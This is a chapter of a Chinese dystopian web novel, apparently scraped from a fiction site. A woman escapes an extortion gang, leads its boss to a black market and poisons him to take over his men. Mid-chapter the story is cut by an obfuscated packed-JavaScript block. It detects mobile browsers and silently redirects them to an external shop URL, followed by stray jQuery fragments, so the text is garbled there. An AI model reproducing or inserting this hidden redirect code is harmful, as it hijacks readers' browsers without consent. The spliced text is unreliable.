文趣网 > 其他小说 > 深渊降临王座 > 13. 云泥之别掌控□□
    林天赐搬走的那天,连上层舱里的薄毯都没给林惊月留下。

    楚氏的接引员站在D区走廊口,白手套捏着评级单,嫌地面脏,鞋尖一直没踏进污水线。林天赐抱着法杖跟在后面,胸口多了一枚临时徽章,银边,刻着“圣光预备役”。

    “姐,我先去中层集训,过几天就让人来接你。”

    林天赐说这话时,手已经把营养膏和水袋塞进了新背包。

    林惊月坐在下层舱口,脸色被黄灯照得发暗。她把袖口往下拉,遮住小腿上还没愈合的擦伤。

    “你去吧,别误了检测。”

    林天赐看了看她。

    “你别乱跑,D区的人都不干净。”

    旁边几个贫民把头低下去。有人咳了一声,又怕惹事,赶忙吞回嗓子里。

    林惊月把灰色手环举起来,黄灯已经跳到红灯边缘。

    “放心,我这种欠税人员,跑两步都要被机器抓回去。壁垒把人当猪养,猪跑丢了还亏饲料。”

    林天赐没听出她话里的刺,只觉得她又在逞强。他把剩下半支营养膏掏出来,犹豫片刻,又塞回背包侧袋。

    “我那边集训也要花点数。等我稳定了,给你补上。”

    “嗯。”

    接引员看了腕表。

    “林天赐,时间快到了。”

    林天赐立刻转身。

    走廊里的人看着他离开,直到中层电梯门合上,那些压低的呼吸才重新活过来。

    D区还是D区,少了一个待检觉醒者,多了一个被留下的伤员。这个账,周围人算得比谁都快。

    当晚,林惊月的舱门被人敲响。

    敲门的人很客气,先用指骨敲三下,再用刀背刮一道。

    “林小姐,醒着没?”

    林惊月正在把一小瓶淡绿色液体封口。瓶子是从地下药剂架边缘顺来的空瓶,里面装的是她这几天从排污网刮下来的瓦斯凝液。量不多,杀人够呛,吓人够用。

    她把瓶子塞进袖中,拉开舱门。

    门外站着个满脸横肉的男人,脖子上挂着粗链,链子末端吊着一枚磨平的子弹壳。身后跟着四个打手,手里拎着铁棍、扳手和改装电击器。

    男人上下打量她。

    “我叫彪哥。D区这片,夜里归我看。”

    林惊月扶着舱门,咳了两声。

    “看得挺宽,连我这种半死的也能看见。”

    彪哥笑了,露出两颗镶金牙。

    “半死也占舱,占舱就得交保护费。你弟弟走了,规矩得重新算。”

    “之前没人收。”

    “之前你身边有觉醒者,现在没有。”

    他抬手,扳手男把一张脏纸拍在舱门上。

    纸上写着三项:舱位安稳费,夜巡通融费,欠税免扰费。

    总计三十生存点。

    林惊月看完,抬起自己的腕表。

    余额零。

    “你看,我连系统都喂不饱,拿什么喂你?”

    彪哥把脏纸往她胸前推。

    “没点数就拿别的抵。水、药、身体,或者消息。听说你弟弟被楚家看上了,中层圣光预备役,前途不差。”

    林惊月抬起脸。

    “消息你也收?”

    彪哥手指敲着门框。

    “收。比如他什么时候回来接你,比如他有没有给你留联系权限。”

    “没有。”

    “那就麻烦了。”

    彪哥往前半步,棚户走廊的人纷纷退开。隔壁D-912的新住户把舱门关上,只留下一条缝。

    “没人罩的人,在D区活不长。你长得还行,拉去血税基站后面的小屋,能换不少点数。”

    林惊月看着他伸来的手。

    前世她被推上病床前,林天赐也是这种语气,嘴上说为她好,手上把刀递给别人。下层□□比亲弟弟诚实,至少开价写在纸上。

    她往后退了半步,半边身体缩进舱内。

    “彪哥,商量个买卖。”

    彪哥手停在半空。

    “说。”

    “你要点数,我没有。你要林天赐的联系,我也没有,但我有一条路。”

    彪哥的笑收了些。

    “什么路?”

    林惊月从袖口露出半截空药剂瓶,瓶口封着黑蜡。淡绿色液体贴着玻璃晃动,在昏灯下泛出脏亮。

    “旧日黑市。”

    后面一个打手嗤了声。

    “就你?黑市入口要担保,没门路的人连狗洞都找不着。”

    林惊月看向他。

    “你们找得着,还会来敲一个零余额伤员的门?”

    打手脸上挂不住,抬起铁棍就要砸。

    彪哥抬手拦住。

    “你继续。”

    林惊月把药剂瓶收回袖里。

    “我带你们进黑市,你们给我免三个月保护费,再给我每天一份营养膏。”

    彪哥盯着她。

    “你把自己卖便宜了。”

    “我贵了,你就会先砍价,再试路,再杀人灭口。便宜点,你动手前会多算一次。”

    走廊里有人吸了口冷气,马上低头装没听见。

    彪哥看了她一会,忽然笑出声。

    “林小姐,你弟弟上去,你倒是没跟着飘。”

    “我飘不动,血抽多了。”

    “行,今晚带路。”

    林惊月摇头。

    “先付营养膏。”

    彪哥身后的打手骂了句。

    “臭娘们,给你脸了?”

    林惊月靠在舱门边,手环红灯闪了一下。

    “不给也行。你们现在拖我走,我喊一嗓子‘旧日黑市入口’,机械犬会先扫我,再扫你们。大家一起去治安处喝免费净水,挺划算。”

    彪哥脸上的肉抽了抽。

    下层人怕楚氏,更怕被楚氏盯上。□□能横,是因为他们只在缝里吃肉。一旦把缝掀开,吃肉的人也会被剁。

    彪哥从打手包里抽出一支营养膏,丢给她。

    “带错路,我把你塞进抽血管。”

    林惊月接住营养膏,咬开一口,甜腻味糊在舌面。她没急着吞,先让热量贴着喉咙下去,胸口那点空冷终于被压住。

    “走。”

    她带他们绕过D区东口,穿过一条堆满废布的劳役道。一路上,她没走昨夜撬开的维修牌,而是拐进南侧清污间。

    彪哥停住。

    “你耍我?这里是清污间,里面有巡逻。”

    林惊月指了指墙角的污水桶。

    “旧入口被我封了,今晚走临时口。”

    “为什么封?”

    “昨晚有机器卡在那边。”

    彪哥脸色变了。

    “机械执法者?”

    “报废款。”

    “报废款也能把人打碎,你还敢来?”

    林惊月把营养膏最后一点挤进嘴里。

    “来都来了,难道回去给你交三倍保护费?”

    彪哥被噎了一下,朝身后人摆手。

    清污间地面湿滑,墙上挂着一排破损防毒面罩。林惊月挑了两个能用的,一个自己戴上,一个扔给彪哥。

    彪哥接住。

    “只有两个?”

    “你是老大,你活着就行,他们的工资里包含工伤吗?”

    几个打手脸色难看。

    彪哥瞪了他们一圈。

    “少废话,跟上。”

    林惊月把清污桶推开,露出底下的维修井。井盖下方有她提前系好的布条,布条另一端通往排污网里的安全踏点。她先下去,脚落在管扣上,避开绿雾低洼处。

    打手们跟下时,有人鞋底踩进污水,立刻骂了一声。

    远处传来机械执法者的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540224|203918||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    齿轮声。

    所有人都闭嘴了。

    林惊月抬起手,指了指墙上的黑蜡滴痕,示意他们贴墙走。彪哥看得很快,动作也比想象中稳。能在D区当老大的人,不全靠横肉和嗓门。

    走到暗门前,林惊月停住。

    “到了。”

    彪哥看着低矮铁门,眼底的贪意压不住。

    “开门。”

    “余款。”

    “先开。”

    林惊月取下防毒面罩,露出苍白的脸。

    “彪哥,做买卖讲个顺序。你刚才有五个人,我只有一条路。现在门在我手里,你们身后有机器,脚下有毒雾。顺序变了。”

    彪哥的手摸向腰后短刀。

    “你在教我规矩?”

    林惊月把袖中药剂瓶抵在白骨门栓上。

    “这里的门栓沾一点瓦斯凝液,开门的人会先烂手。你可以砍我,但你砍完得自己开门。”

    她顿了顿,嗓音压低。

    “还有,彪哥,你左后第三步那块地砖是空的,下面是血税回流管。你一动手,我就踩。”

    彪哥脚下停了。

    他用余光扫了后方地砖,打手们不敢说话,远处机械齿轮声近了半截。

    彪哥从牙缝挤出话。

    “你要什么?”

    “你的人。”

    “你找死。”

    “不是全要。每天两个人,替我跑腿,收消息,领配给。黑市这条路,你可以用,但每次过路给我抽两成。”

    彪哥笑得发狠。

    “你凭什么?”

    林惊月把药剂瓶往他脖侧一送。

    瓶口的黑蜡被她用指甲弹开,淡绿液体沾到彪哥皮肤。那一小块皮肉很快鼓起红疹,沿血管往上爬。

    彪哥抬手去擦,林惊月扣住他的手腕,把整支瓶子扎进他颈侧。

    液体推进去半管。

    彪哥闷哼一声,膝盖砸在地上,脖子上的红疹鼓成紫青,顺着下颌爬到耳后。他张口喘气,手去抓林惊月,被她用匕首抵住喉结。

    “别拔,拔了走得更快。”

    彪哥的打手齐齐上前。

    林惊月没看他们,只盯着彪哥。

    “这药每个月要我的解药。少一次,你身上会从最热的地方开始烂。你要不要赌赌看下层医生比我懂?”

    彪哥的喉咙发出破风箱般的声。

    “解......解药......”

    “先磕个头,别让我怀疑你的诚意。”

    彪哥额头砸在湿地上,一下,两下,污水溅到金牙边。

    打手们的铁棍垂了下去。

    远处机械执法者拐过通道,红外探头扫来。林惊月抬手,把白骨门栓一推。铁门开了,暖黄灯线从门后洒出,药剂香味压过地下臭气。

    林惊月先跨进去。

    “从今天起,D区的保护费,你替我收。谁问你为什么换规矩,你就说彪哥最近爱学习,改行做慈善。”

    彪哥跪在门槛边,捂着脖子,声音哑得漏气。

    “林......姐。”

    “叫老板。”

    彪哥把头压得更低。

    “老板。”

    林惊月走进黑市街,身后铁门合上。狭窄街道两侧挂着旧灯牌,药摊、械铺、情报贩子挤在一起。头顶管道外,半空忽然响起刺耳防空警报。

    黑市里所有人抬头。

    灰尘从顶棚缝隙落下,低空投影被强行接入楚氏频道。画面里,一艘印着楚氏家徽的豪华浮空艇穿过血税区上方,艇身银白,底部喷口把棚户区屋顶掀得东倒西歪。

    彪哥扶着墙爬起来,脸上紫青还没退。

    “楚家大人物下来了。”

    林惊月闻着空气里越来越浓的高阶药剂香,抬手按住袖里的空瓶。

    浮空艇降落的方向,正是血税区中心广场。